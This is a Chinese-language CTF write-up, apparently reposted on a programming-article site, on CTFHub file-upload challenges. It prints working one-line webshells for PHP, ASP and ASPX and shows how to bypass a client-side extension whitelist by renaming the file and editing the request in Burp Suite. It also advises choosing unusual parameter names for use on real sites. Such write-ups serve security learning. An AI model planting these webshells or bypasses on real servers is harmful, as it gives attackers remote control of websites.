文件上传
程序员文章站
2022-05-14 08:41:09
...
一句话木马
最常见的一句话木马
<?php eval($_POST['cmd']); ?>
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。
CTFHub文件上传为例
01 无验证
写个一句话shell传上去,然后手动或者用蚁剑(这周任务学完写个蚁剑的简单用法总结)连上去,在www目录(好像),就可以找到flag文件,打开就可以拿到flag。
一句话,实战的话,尽量用一些比较特别的参数名
当然也可以手工shell,手工shell的话,eval里要用GET
写一个php文件为一句话木马
得到相对路径,打开,输出123即为成功。
打开蚁剑,添加
保存,打开,得到
打开flag_ 文件,得到flag
前端禁用
上传一句话,提示不允许上传。
查看源代码,有检测的js代码,显示只能上传后缀为jpg,png,gif类型
<script>
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
</script>
将 shell.php
改为 shell.php.jpg
类型,可看到上传成功
bp抓包,将 shell.php.jpg 给改回 php 文件
send得到相对路径为 upload/shell.php
得到123,即上传成功
用蚁剑打开得到flag
上一篇: 某校选拔赛
推荐阅读
-
使用pandas read_table读取csv文件的方法
-
python查询文件夹下excel的sheet名代码实例
-
使用Numpy读取CSV文件,并进行行列删除的操作方法
-
解决pandas中读取中文名称的csv文件报错的问题
-
Python读取mat文件,并转为csv文件的实例
-
重装MS SQL Server 2000前必须彻底删除原安装文件的方法
-
比较详细的完美解决安装sql2000时出现以前的某个程序安装已在安装计算机上创建挂起的文件操作。 原创
-
mssql server .ldf和.mdf的文件附加数据库的sql语句
-
mssql server 存储过程里,bulk insert table from '路径+文件',路径固定,文件名不固定的实现方法
-
如何在Oracle中导入dmp文件